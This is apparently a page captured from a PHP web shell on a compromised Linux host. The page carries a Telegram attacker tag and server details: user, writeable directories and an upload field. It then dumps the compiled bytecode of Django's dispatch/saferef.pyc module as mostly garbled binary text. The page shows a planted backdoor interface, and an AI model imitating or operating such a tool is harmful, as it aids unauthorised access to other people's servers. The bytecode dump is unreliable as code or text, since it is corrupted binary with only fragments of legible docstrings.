https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /usr/lib64/python2.7/site-packages/django/dispatch/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/lib64/python2.7/site-packages/django/dispatch/saferef.pyc
�
r�\c@scdZddlZddlZdd�Zdefd��YZdefd��YZd�ZdS(	s�
"Safe weakrefs", originally from pyDispatcher.

Provides a way to safely weakref any function, including bound methods (which
aren't handled by the core weakref module).
i����NcCs�t|d�r\|jdk	r\t|d�s@td|f��td|d|�}|Snt|�rxtj||�Stj|�SdS(s�Return a *safe* weak reference to a callable target

    target -- the object to be weakly referenced, if it's a
        bound method reference, will create a BoundMethodWeakref,
        otherwise creates a simple weakref.
    onDelete -- if provided, will have a hard reference stored
        to the callable to be called after the safe reference
        goes out of scope with the reference object, (either a
        weakref or a BoundMethodWeakref) as argument.
    t__self__t__func__sSsafeRef target %r has __self__, but no __func__, don't know how to create referencettargettonDeleteN(thasattrRtNonetAssertionErrortget_bound_method_weakreftcallabletweakreftref(RRt	reference((s9/tmp/pip-install-XxeQeY/django/django/dispatch/saferef.pytsafeRefs"	tBoundMethodWeakrefcBs�eZdZej�Zd
d�Zd
d�Zd�Z	e
e	�Z	d�ZeZd�Z
d�Zd�Zd�Zd	�ZRS(s�'Safe' and reusable weak references to instance methods

    BoundMethodWeakref objects provide a mechanism for
    referencing a bound method without requiring that the
    method object itself (which is normally a transient
    object) is kept alive.  Instead, the BoundMethodWeakref
    object keeps weak references to both the object and the
    function which together define the instance method.

    Attributes:
        key -- the identity key for the reference, calculated
            by the class's calculateKey method applied to the
            target instance method
        deletionMethods -- sequence of callable objects taking
            single argument, a reference to this object which
            will be called when *either* the target object or
            target function is garbage collected (i.e. when
            this object becomes invalid).  These are specified
            as the onDelete parameters of safeRef calls.
        weakSelf -- weak reference to the target object
        weakFunc -- weak reference to the target function

    Class Attributes:
        _allInstances -- class attribute pointing to all live
            BoundMethodWeakref objects indexed by the class's
            calculateKey(target) method applied to the target
            objects.  This weak value dictionary is used to
            short-circuit creation so that multiple references
            to the same (object, function) pair produce the
            same BoundMethodWeakref instance.

    cOs�|j|�}|jj|�}|dk	rA|jj|�|Stt|�j|�}||j|<|j	||||�|SdS(s�Create new instance or return current instance

        Basically this method of construction allows us to
        short-circuit creation of references to already-
        referenced instance methods.  The key corresponding
        to the target is calculated, and if there is already
        an existing reference, that is returned, with its
        deletionMethods attribute updated.  Otherwise the
        new instance is created and registered in the table
        of already-referenced methods.
        N(
tcalculateKeyt
_allInstancestgetRtdeletionMethodstappendtsuperR
t__new__t__init__(tclsRRt	argumentstnamedtkeytcurrenttbase((s9/tmp/pip-install-XxeQeY/django/django/dispatch/saferef.pyRIs
cCs�|d�}|g|_|j|�|_tj|j|�|_tj|j|�|_t	|j�|_
t	|jj�|_dS(s~Return a weak-reference-like instance for a bound method

        target -- the instance-method target for the weak
            reference, must have __self__ and __func__ attributes
            and be reconstructable via:
                target.__func__.__get__( target.__self__ )
            which is true of built-in instance methods.
        onDelete -- optional callback which will be called
            when this weak reference ceases to be valid
            (i.e. either the object or the function is garbage
            collected).  Should take a single argument,
            which will be passed a pointer to this object.
        cSs�|j}|j2y|jj|j=Wntk
r8nXxu|D]m}yt|�rb||�nWq@tk
r�}ytj�Wq�t	k
r�d|||fGHq�Xq@Xq@WdS(s<Set self.isDead to true when method or instance is destroyeds3Exception during saferef %s cleanup function %s: %sN(
Rt	__class__RRtKeyErrorRt	Exceptiont	tracebackt	print_exctAttributeError(tweaktselftmethodstfunctionte((s9/tmp/pip-install-XxeQeY/django/django/dispatch/saferef.pytremovens 



N(
RRRR	R
RtweakSelfRtweakFunctstrtselfNamet__name__tfuncName(R#RRR'((s9/tmp/pip-install-XxeQeY/django/django/dispatch/saferef.pyR`scCst|j�t|j�fS(s�Calculate the reference key for this reference

        Currently this is a two-tuple of the id()'s of the
        target object and the target function respectively.
        (tidRR(RR((s9/tmp/pip-install-XxeQeY/django/django/dispatch/saferef.pyR�scCsd|jj|j|jfS(s,Give a friendly representation of the objects%s( %s.%s )(RR,R+R-(R#((s9/tmp/pip-install-XxeQeY/django/django/dispatch/saferef.pyt__str__�s	cCs
t|j�S(N(thashR(R#((s9/tmp/pip-install-XxeQeY/django/django/dispatch/saferef.pyt__hash__�scCs
|�dk	S(s&Whether we are still a valid referenceN(R(R#((s9/tmp/pip-install-XxeQeY/django/django/dispatch/saferef.pyt__bool__�scCst|�j|�S(N(ttypeR2(R#((s9/tmp/pip-install-XxeQeY/django/django/dispatch/saferef.pyt__nonzero__�scCs5t||j�s%|jt|�kS|j|jkS(sCompare with another reference(t
isinstanceRR3R(R#tother((s9/tmp/pip-install-XxeQeY/django/django/dispatch/saferef.pyt__eq__�scCsD|j�}|dk	r@|j�}|dk	r@|j|�SndS(sNReturn a strong reference to the bound method

        If the target cannot be retrieved, then will
        return None, otherwise returns a bound instance
        method for our object and function.

        Note:
            You may call this method any number of times,
            as it does not invalidate the reference.
        N(R(RR)t__get__(R#RR%((s9/tmp/pip-install-XxeQeY/django/django/dispatch/saferef.pyt__call__�sN(R,t
__module__t__doc__R	tWeakValueDictionaryRRRRRtclassmethodR/t__repr__R1R2R4R7R9(((s9/tmp/pip-install-XxeQeY/django/django/dispatch/saferef.pyR
%s (						tBoundNonDescriptorMethodWeakrefcBs#eZdZdd�Zd�ZRS(s�A specialized BoundMethodWeakref, for platforms where instance methods
    are not descriptors.

    It assumes that the function name and the target attribute name are the
    same, instead of assuming that the function is a descriptor. This approach
    is equally fast, but not 100% reliable because functions can be stored on an
    attribute named differenty than the function's name such as in:

    class A: pass
    def foo(self): return "foo"
    A.bar = foo

    But this shouldn't be a common use case. So, on platforms where methods
    aren't descriptors (such as Jython) this implementation has the advantage
    of working in the most cases.
    cCsWt|j|j�|ks:td||j|jf��tt|�j||�dS(s~Return a weak-reference-like instance for a bound method

        target -- the instance-method target for the weak
            reference, must have __self__ and __func__ attributes
            and be reconstructable via:
                target.__func__.__get__( target.__self__ )
            which is true of built-in instance methods.
        onDelete -- optional callback which will be called
            when this weak reference ceases to be valid
            (i.e. either the object or the function is garbage
            collected).  Should take a single argument,
            which will be passed a pointer to this object.
        s3method %s isn't available as the attribute %s of %sN(tgetattrRR,RRR?R(R#RR((s9/tmp/pip-install-XxeQeY/django/django/dispatch/saferef.pyR�scCsG|j�}|dk	rC|j�}|dk	rCt||j�SndS(sNReturn a strong reference to the bound method

        If the target cannot be retrieved, then will
        return None, otherwise returns a bound instance
        method for our object and function.

        Note:
            You may call this method any number of times,
            as it does not invalidate the reference.
        N(R(RR)R@R,(R#RR%((s9/tmp/pip-install-XxeQeY/django/django/dispatch/saferef.pyR9�sN(R,R:R;RRR9(((s9/tmp/pip-install-XxeQeY/django/django/dispatch/saferef.pyR?�scCs9t|d�r"td|d|�Std|d|�SdS(szInstantiates the appropiate BoundMethodWeakRef, depending on the details of
    the underlying class method implementationR8RRN(RR
R?(RR((s9/tmp/pip-install-XxeQeY/django/django/dispatch/saferef.pyR�s(	R;RR	RRtobjectR
R?R(((s9/tmp/pip-install-XxeQeY/django/django/dispatch/saferef.pyt<module>s�<

https://t.me/AnonymousX5 - 2025